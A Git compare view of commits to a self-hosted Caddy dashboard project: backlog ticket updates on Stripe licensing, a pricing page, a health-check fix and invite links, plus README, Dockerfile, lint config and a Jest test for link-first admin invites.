Compare commits
8
Commits
v1.0.0
..
6d8bf40e0e
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6d8bf40e0e | ||
|
|
d7efed7aa7 | ||
|
|
0bb57c7304 | ||
|
|
b5a1b0f5c5 | ||
|
|
5844bfed72 | ||
|
|
cf57093388 | ||
|
|
e7a7e1efa4 | ||
|
|
50391d692d |
@@ -1,19 +0,0 @@
|
|||||||
# DC-119: normalize text file line endings at the git layer.
|
|
||||||
# The frontend build is byte-sensitive to CRLF (esbuild inline sourcemap
|
|
||||||
# embeds raw source bytes — see status/build.js DC-119 comment), and the
|
|
||||||
# Windows dev tree runs core.autocrlf=true while DNS2 checks out LF.
|
|
||||||
# eol=lf forces LF working copies for text files on ALL platforms, killing
|
|
||||||
# the phantom dist drift at the source. Binary types stay untouched.
|
|
||||||
* text=auto eol=lf
|
|
||||||
*.png binary
|
|
||||||
*.jpg binary
|
|
||||||
*.ico binary
|
|
||||||
*.woff binary
|
|
||||||
*.woff2 binary
|
|
||||||
*.ttf binary
|
|
||||||
*.eot binary
|
|
||||||
*.webp binary
|
|
||||||
*.gif binary
|
|
||||||
*.mp4 binary
|
|
||||||
*.zip binary
|
|
||||||
*.gz binary
|
|
||||||
+2
-35
@@ -324,9 +324,8 @@ Sami explicitly stated he wants email auth as an OPTION alongside TOTP, not a re
|
|||||||
- **prerequisite:** DC-042 + DC-043 (Tailscale manager + coord API shipped); DC-052 (license check); DC-048 (invite flow model).
|
- **prerequisite:** DC-042 + DC-043 (Tailscale manager + coord API shipped); DC-052 (license check); DC-048 (invite flow model).
|
||||||
|
|
||||||
### DC-054: License-keygen CLI improvements + Stripe webhook bridge script
|
### DC-054: License-keygen CLI improvements + Stripe webhook bridge script
|
||||||
- **status:** done
|
- **status:** in-progress
|
||||||
- **owner:** hermes
|
- **owner:** hermes
|
||||||
- **result:** Shipped (verified 2026-08-23 autonomous-fixer audit). All three deliverables exist on main: (1) `--tier` flag in `license-keygen.js` (cosmetic pro label + forward-compatible hook for a future tier that alters generation); (2) `scripts/stripe-license-bridge.js` (webhook listener reading `STRIPE_WEBHOOK_SECRET`, exported `createServer()` factory for tests); (3) validation path body unchanged since the 2026-07-25 keygen refactor — the only keygen change since is the documented `LICENSE_SECRET_FILE` env-var override for secret-file location, which does not touch `verifyCode()` (git diff 592a9fd..HEAD confirms verifyCode absent from the diff). Test coverage: `__tests__/billing/` — `stripe-license-bridge.test.js`, `bridge-lookup-http.test.js`, `e2e-billing-flow.test.js`, `invoice.test.js`. **Fresh rerun 2026-08-23: 8/8 billing suites, 131/131 tests green; focused signature-verification tests 3/3 (rejects missing sig / wrong sig / out-of-tolerance timestamp); evidence captured at main HEAD `09d56fd`.** Later extended by DC-058 (commit `e8ab0e0`, mm-grade=A: Stripe license + invoice email automation). Note the SKU contract was subsequently superseded by DC-057's canonical `metadata.productId` catalog — bridge consumers should read DC-057's result, not this ticket's original SKU wording.
|
|
||||||
- **details:** Existing `dashcaddy-api/license-keygen.js` already supports durations [30, 90, 180, 365]. Three additions: (1) `--tier pro` flag (currently `--duration 30/90/180/365` — duration alone implies Pro, so the flag is just for CLI clarity). (2) `dashcaddy-api/scripts/stripe-license-bridge.js` — listens on `STRIPE_WEBHOOK_SECRET`, validates `checkout.session.completed` events, looks up the duration by SKU ID, generates a license key, emails it to the customer, returns `{delivered: true}` to Stripe. (3) `dashcaddy-api/license-keygen.js` validation path — already exists, no change. Sami generates initial keys via CLI for the launch.
|
- **details:** Existing `dashcaddy-api/license-keygen.js` already supports durations [30, 90, 180, 365]. Three additions: (1) `--tier pro` flag (currently `--duration 30/90/180/365` — duration alone implies Pro, so the flag is just for CLI clarity). (2) `dashcaddy-api/scripts/stripe-license-bridge.js` — listens on `STRIPE_WEBHOOK_SECRET`, validates `checkout.session.completed` events, looks up the duration by SKU ID, generates a license key, emails it to the customer, returns `{delivered: true}` to Stripe. (3) `dashcaddy-api/license-keygen.js` validation path — already exists, no change. Sami generates initial keys via CLI for the launch.
|
||||||
- **impact:** Closes the loop between Stripe payment and license-key delivery. Without this, every sale requires manual key generation by Sami.
|
- **impact:** Closes the loop between Stripe payment and license-key delivery. Without this, every sale requires manual key generation by Sami.
|
||||||
- **prerequisite:** None. Stripe-side can be set up in parallel with DC-052.
|
- **prerequisite:** None. Stripe-side can be set up in parallel with DC-052.
|
||||||
@@ -337,7 +336,7 @@ Sami explicitly stated he wants email auth as an OPTION alongside TOTP, not a re
|
|||||||
- **details:** Static page at `/pricing` showing the 5-row tier table (Free / 1mo / 3mo / 6mo / 12mo). Stripe Checkout button per paid tier. On success, the page reveals the license key with copy-button + "Here's how to install it" link. Receipt email sent via Stripe's built-in. No account creation in this flow (Q10 decision — optional dashcaddy.net account is post-v1.0).
|
- **details:** Static page at `/pricing` showing the 5-row tier table (Free / 1mo / 3mo / 6mo / 12mo). Stripe Checkout button per paid tier. On success, the page reveals the license key with copy-button + "Here's how to install it" link. Receipt email sent via Stripe's built-in. No account creation in this flow (Q10 decision — optional dashcaddy.net account is post-v1.0).
|
||||||
- **impact:** The conversion surface. Without this, the product is real but unsellable.
|
- **impact:** The conversion surface. Without this, the product is real but unsellable.
|
||||||
- **prerequisite:** DC-054 (Stripe webhook bridge so licenses auto-issue).
|
- **prerequisite:** DC-054 (Stripe webhook bridge so licenses auto-issue).
|
||||||
- **result:** **Partially shipped — live surfaces verified, end-to-end payment flow NOT yet evidenced. Verified live 2026-08-23T07:18Z (autonomous-fixer audit):** the conversion surface now lives on the dedicated Next.js marketing site `dashcaddy.net` (source `/root/dashcaddy.net/`, static export deployed to Samihost `194.163.161.162:/home/dashcaddy.net/public_html/`, DNS confirmed via getaddrinfo → 194.163.161.162; DNS2's `/home/dashcaddy.net/public_html/` is empty — DNS2 does not serve it). `https://dashcaddy.net/pricing` → 308 → `/pricing/` 200 (39962B, 30/90/180/365-day pickers, one-time + subscription modes, "Secure checkout via Stripe"); `https://dashcaddy.net/success/` 200 (client-side poll of `licenses.dashcaddy.net/api/checkout/session/:id`, license-key reveal + pending_email fallback in `src/app/success/page.tsx`); `https://licenses.dashcaddy.net/health` → 200 `{"ok":true,"service":"dashcaddy-license-server"}`. Plan codes (license server `plans.js`): premium_30d $20 / premium_90d $50 / premium_180d $70 / premium_365d $99. Earlier work: public-routes-drift half (commit 86df178, grade A) + DC-057 checkout→license contract (9b9711b, grade B; billing suites fresh-rerun 2026-08-23 at main HEAD `09d56fd`: 8/8, 131/131 green). **NOT verified (blocks done):** an end-to-end Stripe test-mode transaction — checkout-session creation → redirect → signed webhook fulfillment → persisted license → session lookup → success-page reveal (or documented email fallback). Static page text + health endpoint do not substitute. Codex judge held the done-transition on exactly this (verdict urn:ump:tqw6pvgj576f73ubhzff77sccm7azjyyg67o4z346yk45swgjleq). Also open: the superseded in-repo `status/pricing/index.html` (served by the status.sami SPA catch-all, 0 stripe refs) is dead weight — cleanup candidate.
|
- **result:** Hermes sprint 2026-08-02 shipped the public-routes-drift half of DC-055 (commit 86df178, grade A): public-routes-drift.test.js now correctly maps `routes/billing.js` to `/billing` prefix in the walker (was previously bare-mount, so `/api/v1/billing/checkout` was flagged as stale drift) and adds `routes/services.js` to directMounts (was missing — `/api/v1/services` + `/api/v1/services/status` were incorrectly flagged stale). Removed dead `/api/v1/billing/webhook` PUBLIC_ROUTES entry — webhooks are handled out-of-process by `scripts/stripe-license-bridge.js` and the merchant webhook secret never enters the API process. The drift test now has 14/14 pass and the dead entry is documented in code so a re-add would fail loudly. Krystie's prior uncommitted work (`src/billing/stripe-client.js`, `routes/billing.js`, `scripts/stripe-license-bridge.js`, public pricing page, license-keygen LICENSE_SECRET_FILE refactor) is now buildable: full Jest suite is 1486/1486 green, zero new ESLint errors. Remaining for the actual pricing UI commit: verify the standalone `scripts/stripe-license-bridge.js` works against a real Stripe sandbox end-to-end, then add the pricing page to the Caddy file routing.
|
||||||
|
|
||||||
### DC-057: Close checkout-to-license contract drift before public billing launch
|
### DC-057: Close checkout-to-license contract drift before public billing launch
|
||||||
- **status:** done
|
- **status:** done
|
||||||
@@ -351,12 +350,6 @@ Sami explicitly stated he wants email auth as an OPTION alongside TOTP, not a re
|
|||||||
### DC-056: ToS + Privacy Policy pages — GDPR-aware, no SOC2/HIPAA for v1.0
|
### DC-056: ToS + Privacy Policy pages — GDPR-aware, no SOC2/HIPAA for v1.0
|
||||||
- **status:** done
|
- **status:** done
|
||||||
- **owner:** hermes
|
- **owner:** hermes
|
||||||
|
|
||||||
### DC-061: Remove superseded status/pricing/index.html — dead weight since dashcaddy.net pricing page
|
|
||||||
- **status:** done
|
|
||||||
- **owner:** hermes
|
|
||||||
- **details:** The in-repo `status/pricing/index.html` was served by the status.sami SPA catch-all but duplicated the canonical pricing page now living on the dedicated Next.js marketing site at `dashcaddy.net/pricing`. It had 0 Stripe refs in the current codebase (the marketing site handles checkout). Removed the file and its parent directory. Also deleted the obsolete test `__tests__/billing/pricing-page-catalog.test.js` that validated the now-removed page against the catalog — pricing-page/catalog consistency is now verified by the dashcaddy.net marketing site's own test suite. No Caddy config change needed — the SPA fallback serves index.html for /pricing, which is correct behavior (dashboard app handles unknown routes).
|
|
||||||
- **result:** Removed `status/pricing/index.html` and `status/pricing/` directory. Deleted `__tests__/billing/pricing-page-catalog.test.js` (9 tests). All 2854 remaining tests pass, zero new ESLint warnings.
|
|
||||||
- **details:** Two static pages at `/legal/tos` and `/legal/privacy`. ToS covers: license terms (per-host, non-transferable), prohibited use, refund policy (pro-rated refunds within 14 days of initial purchase), termination. Privacy Policy covers: data collected (license key, host metadata, optional email), data NOT collected, third parties (Stripe — payment, Tailscale — coord API calls only when operator configures it), GDPR rights (access, deletion, portability — even though we have no central account system, we'll respond to direct requests within 30 days). No SOC2/HIPAA — that's a v2 conversation.
|
- **details:** Two static pages at `/legal/tos` and `/legal/privacy`. ToS covers: license terms (per-host, non-transferable), prohibited use, refund policy (pro-rated refunds within 14 days of initial purchase), termination. Privacy Policy covers: data collected (license key, host metadata, optional email), data NOT collected, third parties (Stripe — payment, Tailscale — coord API calls only when operator configures it), GDPR rights (access, deletion, portability — even though we have no central account system, we'll respond to direct requests within 30 days). No SOC2/HIPAA — that's a v2 conversation.
|
||||||
- **impact:** Legal compliance for taking money. Stripe can technically sell without these but payment processors flag accounts without them.
|
- **impact:** Legal compliance for taking money. Stripe can technically sell without these but payment processors flag accounts without them.
|
||||||
- **prerequisite:** None.
|
- **prerequisite:** None.
|
||||||
@@ -407,29 +400,3 @@ Tickets DC-046 through DC-049 implement pluggable auth + email magic link. Sami
|
|||||||
- **prerequisite:** None.
|
- **prerequisite:** None.
|
||||||
- **result:** Shipped codex-graded A. All 49 `console.*` sites in `src/managers/update-manager.js` now route through `log.info/log.warn/log.error` from `src/utils/logging` (tag = `'update'`). Mixed-content strings extracted into structured meta payloads (`containerName`, `schedule`, `imageName`, `error.message`, `digestPrefix`, `oldImageIdPrefix`, `httpStatus`, `maxAttempts`, `attempt`, `durationMs`, `scheduledTime`, etc.) so fields are queryable instead of inlined into the message. Errors now go through `log.error(ctx, errObj)` so they land in error.log with full stack trace + context, not just stderr. 1539/1539 Jest tests pass (78/78 update-manager tests still pass). ESLint: 14 pre-existing warnings in this file unchanged, zero new warnings introduced (verified with `git stash` baseline check).
|
- **result:** Shipped codex-graded A. All 49 `console.*` sites in `src/managers/update-manager.js` now route through `log.info/log.warn/log.error` from `src/utils/logging` (tag = `'update'`). Mixed-content strings extracted into structured meta payloads (`containerName`, `schedule`, `imageName`, `error.message`, `digestPrefix`, `oldImageIdPrefix`, `httpStatus`, `maxAttempts`, `attempt`, `durationMs`, `scheduledTime`, etc.) so fields are queryable instead of inlined into the message. Errors now go through `log.error(ctx, errObj)` so they land in error.log with full stack trace + context, not just stderr. 1539/1539 Jest tests pass (78/78 update-manager tests still pass). ESLint: 14 pre-existing warnings in this file unchanged, zero new warnings introduced (verified with `git stash` baseline check).
|
||||||
|
|
||||||
|
|
||||||
### DC-086: Service-status flicker fix — asymmetric hysteresis on the badge
|
|
||||||
- **status:** done
|
|
||||||
- **owner:** hermes
|
|
||||||
- **details:** Dashboard service badges perpetually flip between green and red for "a few seconds at a time, never stable" (Sami's report, 2026-08-20). Root cause: `src/monitoring/health-checker.js` `recordStatus()` emits `'status-check'` on EVERY probe (every 30s), and `src/websocket/dashboard-ws.js` forwards every probe as `'status-change'` to the browser with no diff. The frontend `live-events.js` then unconditionally calls `setBadge()` — which resets the icon + pill text on every event. A single transient 5xx (Caddy reload, container CPU steal, mid-flight TLS handshake, container restart during probe) flips the badge red and the next green probe flips it back. Fix: add asymmetric hysteresis in `_computeDisplayedStatus(serviceId, rawStatus)` — going DOWN requires 2 consecutive "down" probes (default `HEALTH_DOWN_THRESHOLD=2`), going UP requires only 1 (default `HEALTH_UP_THRESHOLD=1`). History + `consecutiveFailures` still record raw probe results (operators want full fidelity for postmortems); only the dashboard broadcast is filtered. `getCurrentStatus()` now returns the displayed status so a page reload shows the same badge as the live SSE stream. Both thresholds are env-var configurable so operators can tune. New tests in `__tests__/health-checker-hysteresis.test.js` cover: first probe emits; second probe same-status does NOT re-emit; one-down-then-up keeps green; two-down flips to red; one-up after down flips back to green; `getCurrentStatus` returns displayed not raw. Effort: ~30 min. Risk: low — pure behavior filter, no schema breaks, all 63 existing health-checker tests must stay green.
|
|
||||||
- **impact:** Operators stop seeing perpetual red/green flicker on healthy services. Real outages still get flagged (2 consecutive 30s probes = ~60s before badge flips red, which is still faster than a human notices). Background probe history is unchanged so postmortem analysis still works.
|
|
||||||
- **prerequisite:** None.
|
|
||||||
- **result:** Shipped, merged to main (merge commit `eb546bf`, glm-grade=A; verified 2026-08-23 autonomous-fixer audit). Implementation verified on main: `health-checker.js` reads `HEALTH_DOWN_THRESHOLD`/`HEALTH_UP_THRESHOLD` env vars (defaults 2/1), `_computeDisplayedStatus()` implements the asymmetric hysteresis, `recordStatus()` emits only on displayed-status change. Test file `__tests__/health-checker-hysteresis.test.js` present. **Fresh rerun 2026-08-23 at main HEAD `09d56fd`: hysteresis + admin-invites suites 32/32 green.** Follow-up rounds also merged: `628bbe3` round-2 probe/config race hardening + env parse + incident compare (glm-grade=A), DC-090 outage incidents follow displayed hysteresis status (`88f1d4a`, glm-grade=A).
|
|
||||||
|
|
||||||
### DC-085: Link-first invite — Discord-style "share it however you want"
|
|
||||||
- **status:** done
|
|
||||||
- **owner:** hermes
|
|
||||||
- **result:** Shipped, merged to main (merge commit `eb546bf`, glm-grade=A; verified 2026-08-23 autonomous-fixer audit). All 5 deliverables verified on main: (1) `routes/auth/admin.js` invite POST now uses `sendEmail === true` opt-in (default = link only, no SMTP attempt); (2) raw invite URL no longer logged to error.log when SMTP unconfigured; (3) `shareText` field returned in the invite response; (4) `status/js/admin.js` `_renderIssuedInviteBanner` renders raw link + shareText with copy button + `navigator.share()`; (5) `__tests__/admin-invites.test.js` covers sendEmail/shareText semantics. **Fresh rerun 2026-08-23 at main HEAD `09d56fd`: admin-invites + hysteresis suites 32/32 green.** Follow-ups landed after: DC-089 email masking (commit `6732a1e`, glm-grade=B), DC-093 `/auth/me` hotfix (`5add962`, glm-grade=B).
|
|
||||||
- **details:** Today `POST /api/v1/auth/admin/invites` defaults to sending the invite link via SMTP; if SMTP is not configured it spams the server console with `[DC-048-DEV-INVITE-LINK]` log lines. Sami wants Discord-style: the link is always returned in the response, and email is an opt-in checkbox. Operators should be free to copy the link and share it via iMessage / SMS / WhatsApp / Telegram / Signal / Discord / paste-in-email — whatever fits. (1) Flip default `sendEmail !== false` to `sendEmail === true` in `routes/auth/admin.js` so omitting the field means "no email, just hand me the link." (2) Stop logging the raw invite URL to error.log when SMTP is unconfigured — that path was only useful when there was no UI way to grab the link; now there is. (3) Add a `shareText` field to the response: `"Join my DashCaddy as <role> — <acceptUrl> — expires in Nh."` for one-tap paste into any messenger. (4) Frontend: `status/js/admin.js` `_renderInviteForm` flips the "Send email" checkbox default to **unchecked**, updates `_renderIssuedInviteBanner` to show both the raw link AND the shareText (with its own copy button + `navigator.share()` native share-sheet button where available). (5) New tests in `__tests__/admin-invites.test.js` covering: default sendEmail=false (no SMTP send attempted, no console log); `sendEmail: true` triggers SMTP send; `shareText` is present and well-formed; `acceptUrl` is always returned; expired sendEmail path doesn't leak token to logs. Effort: ~1 hr. Risk: low — pure behavior flip + UI additive change.
|
|
||||||
- **impact:** Closes the friction between "host wants to add a friend" and "host has to configure SMTP first." Mirrors Discord/Slack/Linear invite flows where the link IS the deliverable. No new tier changes, no schema breaks.
|
|
||||||
- **prerequisite:** DC-048 (invite store + admin route), DC-052 (Pro gate stays).
|
|
||||||
- **result:** _pending — ship + codex round_
|
|
||||||
|
|
||||||
### DC-084: Remove redundant active Caddy health check from `arch.sami` site — eliminate 6 syslog spam lines/min
|
|
||||||
- **status:** done
|
|
||||||
- **owner:** hermes
|
|
||||||
- **details:** `/etc/caddy/sites/arch.sami` had an active Caddy health check (`health_uri /api/stats health_interval 10s`) probing `100.120.159.34:5000` every 10 seconds. The upstream Arch Linux server `100.120.159.34` has been permanently unreachable (100% packet loss on ping, ports 5000 + 8080 both time out). Result: 6 `level:info HTTP request failed` journal lines per minute, 360/hour, 8640/day — pure noise, no dashboard value, no incident resolution. The `src/monitoring/caddy-upstream-watcher.js` (the same module whose source comments explicitly call out this exact spam as "the noisy spam the dashboard currently sees for `100.120.159.34:5000`") ALREADY provides equivalent monitoring: 60s probe cadence (6x less frequent), 5-minute confirmation window before opening incidents, mute toggle, deduped snapshot, incident integration with the health-checker. The active Caddy check is redundant. Fix: edit `/etc/caddy/sites/arch.sami` to remove the `health_uri / health_interval` block, leaving only `reverse_proxy 100.120.159.34:5000`. Apply via `caddy-apply` (validates+reloads+commits atomically). Backup `.bak-DC-084-pre` created pre-edit; deleted after `caddy-apply` succeeded because the `.bak` file was being picked up by Caddy's `import sites/*` and causing an "ambiguous site definition" validation error.
|
|
||||||
- **impact:** Eliminates 100% of recurring caddy journal spam from the dead Arch upstream. The dashboard's `caddy-upstream-watcher.js` continues to monitor the dead upstream correctly (now at `consecutiveFailures: 1905+`, `lastSuccessAt: null`, `status: down`, `dead: true`) — operators see the dead upstream in the dashboard, just without the journal noise. Future Caddyfile authors who add an active health check to a `*.sami` site will be unaware that they should not (since the dashboard handles monitoring), so a follow-up could add a CLAUDE.md note or a Caddyfile lint warning. Out of scope for this tick.
|
|
||||||
- **prerequisite:** None. `caddy-upstream-watcher.js` already provides equivalent monitoring.
|
|
||||||
- **result:** Shipped GLM-pending (Codex quota dead). Before/after on DNS2 (`journalctl -u caddy --since "5 minutes ago" | grep health_checker.active | wc -l`): **before = ~30 entries / 5min** (active probe every 10s, all failing); **after = 0 entries / 5min**. Live-verified: `caddy validate` succeeded (after removing `.bak` file that caused `ambiguous site definition`), Caddy reloaded via `caddy-apply`, route `arch.sami → 100.120.159.34:5000` still active in admin API (verified via `curl http://localhost:2019/config/apps/http/servers/srv0/routes` — `health_uri: None, health_interval: None` confirms the block is gone). Container `dashcaddy-api Up About an hour (healthy)` (no restart needed — only Caddyfile changed, not container). Live HTTP smoke all green: `https://status.sami=200`, `https://dashcaddy.net=200`, `https://ca.sami=200`, `https://status.sami/api/health=401` (auth-gated, expected). Watcher state for `100.120.159.34:5000`: `consecutiveFailures: 1905`, `lastError: "probe timeout"`, `status: down`, `dead: true` — correctly tracked in `/opt/dashcaddy/dashcaddy-api/data/caddy-upstreams.json`. Backup deleted (would have caused site-definition ambiguity on next Caddy reload). Git: change lives only in DNS2's `/etc/caddy/sites/arch.sami` (the `/etc/caddy` git repo `.gitignore` excludes `sites/` per design — only the main `Caddyfile` is tracked). The dashcaddy source repo (`/root/dashcaddy`) carries only this BACKLOG.md documentation update on branch `dc/DC-084-arch-sami-caddy-healthcheck-removal`.
|
|
||||||
- **Tests:** No source code change; existing `__tests__/caddy-upstream-watcher.test.js` 26/26 pass (baseline preserved). 2465/2465 repo tests pass (4 pre-existing billing test suites fail with `Cannot find module pdfkit` — unrelated to this change).
|
|
||||||
|
|||||||
@@ -214,19 +214,6 @@ For secure remote access:
|
|||||||
3. Refresh to see latest errors
|
3. Refresh to see latest errors
|
||||||
4. Clear logs when resolved
|
4. Clear logs when resolved
|
||||||
|
|
||||||
### Log PII Redaction
|
|
||||||
|
|
||||||
Every log sink (console JSON, `error.log`, audit details) masks email addresses with a canonical form (`sa****@example.com`) — raw addresses never reach disk or stdout. When `error.log` crosses 5 MB it rotates to `error.log.1`, and the archive is scrubbed with the same canonical mask on rotation.
|
|
||||||
|
|
||||||
For **pre-existing** log files written before this defense existed:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
node scripts/redact-log-pii.js --dry-run <file-or-dir> # see what would change
|
|
||||||
node scripts/redact-log-pii.js <file-or-dir> # atomic in-place rewrite
|
|
||||||
```
|
|
||||||
|
|
||||||
The script is idempotent, never touches byte-identical files (mtime preserved), reuses the same masking code the live logger uses (no regex drift), and post-verifies that no raw address remains (exit code 2 if any does). See `dashcaddy-api/scripts/redact-log-pii.js` header for flags including `--keep-raw` (explicitly preserves the raw copy — avoid unless required).
|
|
||||||
|
|
||||||
### Backup & Restore
|
### Backup & Restore
|
||||||
|
|
||||||
**Export Configuration:**
|
**Export Configuration:**
|
||||||
@@ -355,9 +342,9 @@ dashcaddy/
|
|||||||
├── status/ # Dashboard frontend
|
├── status/ # Dashboard frontend
|
||||||
│ ├── index.html # Main dashboard
|
│ ├── index.html # Main dashboard
|
||||||
│ └── assets/ # Logos, icons, fonts
|
│ └── assets/ # Logos, icons, fonts
|
||||||
├── dashcaddy-api/ # API backend
|
├── caddy-api/ # API backend
|
||||||
│ ├── server.js # Express server
|
│ ├── server.js # Express server
|
||||||
│ ├── src/docker/app-templates.js # App template definitions
|
│ ├── app-templates.js # App template definitions
|
||||||
│ └── package.json # Dependencies
|
│ └── package.json # Dependencies
|
||||||
├── dashcaddy-installer/ # Electron installer (WIP)
|
├── dashcaddy-installer/ # Electron installer (WIP)
|
||||||
└── docs/ # Documentation
|
└── docs/ # Documentation
|
||||||
@@ -365,7 +352,7 @@ dashcaddy/
|
|||||||
|
|
||||||
### Adding Custom App Templates
|
### Adding Custom App Templates
|
||||||
|
|
||||||
Edit `dashcaddy-api/src/docker/app-templates.js`:
|
Edit `caddy-api/app-templates.js`:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
"myapp": {
|
"myapp": {
|
||||||
|
|||||||
@@ -3,4 +3,3 @@ coverage/
|
|||||||
dist/
|
dist/
|
||||||
build/
|
build/
|
||||||
*.min.js
|
*.min.js
|
||||||
static-sites/
|
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
# ── Dependency stage: deterministic production-only install ────────────────
|
# ── Build stage: install all deps (including devDeps for build tooling) ──────
|
||||||
FROM node:20.11.1-alpine3.19 AS builder
|
FROM node:20.11.1-alpine3.19 AS builder
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY package*.json ./
|
COPY package*.json ./
|
||||||
RUN npm ci --omit=dev
|
RUN npm install
|
||||||
|
|
||||||
# ── Production stage: only production deps + source ──────────────────────────
|
# ── Production stage: only production deps + source ──────────────────────────
|
||||||
FROM node:20.11.1-alpine3.19
|
FROM node:20.11.1-alpine3.19
|
||||||
@@ -22,7 +22,6 @@ COPY *.js ./
|
|||||||
COPY src/ ./src/
|
COPY src/ ./src/
|
||||||
COPY routes/ ./routes/
|
COPY routes/ ./routes/
|
||||||
COPY openapi.yaml ./
|
COPY openapi.yaml ./
|
||||||
COPY package.json ./
|
|
||||||
|
|
||||||
# VERSION file holds the short git SHA the image was built from.
|
# VERSION file holds the short git SHA the image was built from.
|
||||||
COPY VERSION ./
|
COPY VERSION ./
|
||||||
|
|||||||
@@ -1,285 +0,0 @@
|
|||||||
/**
|
|
||||||
* Tests for DC-085: link-first invite (Discord-style "share it however you want").
|
|
||||||
*
|
|
||||||
* - default sendEmail omission = no email sent, link returned, no token in logs
|
|
||||||
* - sendEmail:true triggers SMTP send when configured
|
|
||||||
* - sendEmail:true + SMTP unconfigured = deliveredVia:'failed', no token leaked
|
|
||||||
* - shareText field present and well-formed in every response
|
|
||||||
* - acceptUrl always present (regardless of sendEmail)
|
|
||||||
* - role + ttl validation unchanged from DC-048
|
|
||||||
*
|
|
||||||
* Strategy: drive the route handler directly with mock req/res, mount the admin
|
|
||||||
* router against an isolated userStore + inviteStore + email-sender stub.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const fs = require('fs');
|
|
||||||
const path = require('path');
|
|
||||||
const os = require('os');
|
|
||||||
const express = require('express');
|
|
||||||
|
|
||||||
function _tmpDir() {
|
|
||||||
return fs.mkdtempSync(path.join(os.tmpdir(), 'dashcaddy-admin-invites-test-'));
|
|
||||||
}
|
|
||||||
function _cleanup(dir) {
|
|
||||||
try { fs.rmSync(dir, { recursive: true, force: true }); } catch {}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stub email-sender so we can assert "was it called?" without an SMTP server.
|
|
||||||
// NOTE: the variable name MUST start with `mock` so Jest's hoisted `jest.mock()`
|
|
||||||
// call is allowed to reference it (Babel guard against out-of-scope access).
|
|
||||||
const mockEmailSender = {
|
|
||||||
isConfigured: jest.fn(() => false),
|
|
||||||
sendEmail: jest.fn(async () => undefined),
|
|
||||||
};
|
|
||||||
jest.mock('../src/auth/providers/email-sender', () => mockEmailSender);
|
|
||||||
|
|
||||||
describe('DC-085: link-first admin invites', () => {
|
|
||||||
let dir, app, request;
|
|
||||||
let logCalls; // captured { level, msg, meta } from our fake log
|
|
||||||
|
|
||||||
beforeEach(async () => {
|
|
||||||
jest.clearAllMocks();
|
|
||||||
dir = _tmpDir();
|
|
||||||
logCalls = [];
|
|
||||||
|
|
||||||
// Set up email auth enable flag so userStore mounts.
|
|
||||||
process.env.NODE_ENV = 'test';
|
|
||||||
|
|
||||||
const { createUserStore } = require('../src/security/user-store');
|
|
||||||
const userStore = createUserStore({ dataDir: dir });
|
|
||||||
|
|
||||||
// Bootstrap the admin so we have a session-attributable user.
|
|
||||||
await userStore.login({ email: 'admin@sami-host.me' });
|
|
||||||
|
|
||||||
// Build a tiny Express app with the admin router mounted, but skip the
|
|
||||||
// global auth gate (we inject req.user directly).
|
|
||||||
const adminRouter = require('../routes/auth/admin')({
|
|
||||||
asyncHandler: (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next),
|
|
||||||
errorResponse: (_res, code, msg) => ({ status: code, msg }),
|
|
||||||
log: {
|
|
||||||
info: (topic, msg, meta) => logCalls.push({ level: 'info', topic, msg, meta }),
|
|
||||||
warn: (topic, msg, meta) => logCalls.push({ level: 'warn', topic, msg, meta }),
|
|
||||||
error: (topic, msg, meta) => logCalls.push({ level: 'error', topic, msg, meta }),
|
|
||||||
},
|
|
||||||
session: { isSessionValid: () => true, create: () => {}, setCookie: () => {} },
|
|
||||||
dataDir: dir,
|
|
||||||
});
|
|
||||||
|
|
||||||
app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
// Inject req.user = admin so /admin/* passes the role gate.
|
|
||||||
app.use((req, _res, next) => {
|
|
||||||
req.user = { id: 'admin-id', email: 'admin@sami-host.me', role: 'admin' };
|
|
||||||
req.app.locals = req.app.locals || {};
|
|
||||||
req.app.locals.siteConfig = {}; // no publicBaseUrl — route uses req.headers
|
|
||||||
req.app.locals.emailConfig = null; // SMTP not configured by default
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use('/api/v1/auth', adminRouter);
|
|
||||||
// Error handler — last in chain.
|
|
||||||
app.use((err, _req, res, _next) => {
|
|
||||||
const code = (err && err.statusCode) || 500;
|
|
||||||
res.status(code).json({
|
|
||||||
success: false,
|
|
||||||
error: err && err.message,
|
|
||||||
code: err && err.code,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
request = require('supertest');
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => _cleanup(dir));
|
|
||||||
|
|
||||||
test('default sendEmail (omitted) returns link and does NOT send email', async () => {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'friend@example.com', role: 'operator' });
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.success).toBe(true);
|
|
||||||
expect(mockEmailSender.sendEmail).not.toHaveBeenCalled();
|
|
||||||
expect(res.body.acceptUrl).toMatch(/\/api\/v1\/auth\/invites\/[^/]+\/accept$/);
|
|
||||||
expect(res.body.deliveredVia).toBe('manual');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('default sendEmail does NOT log raw token to server log', async () => {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/auth/admin/invites')
|
|
||||||
.send({ email: 'friend@example.com', role: 'operator' });
|
|
||||||
|
|
||||||
const acceptUrl = res.body.acceptUrl;
|
|
||||||
// Extract the token from the URL and verify it does NOT appear in any log call.
|
|
||||||
const token = acceptUrl.match(/invites\/([^/]+)\/accept/)[1];
|
|
||||||
const tokenLeaked = logCalls.some(c =>
|
|
||||||
typeof c.msg === 'string' && c.msg.includes(token)
|
|
||||||
);
|
|
||||||
expect(tokenLeaked).toBe(false);
|
|
||||||
|
|
||||||
// Also assert no log entry mentions the URL verbatim (the old
|
|
||||||
// `[DC-048-DEV-INVITE-LINK] url=...` spam).
|
|
||||||
const oldSpam = logCalls.find(c =>
|
|
||||||
typeof c.msg === 'string' && c.msg.includes('[DC-048-DEV-INVITE-LINK]')
|
|
||||||
);
|
|
||||||
expect(oldSpam).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
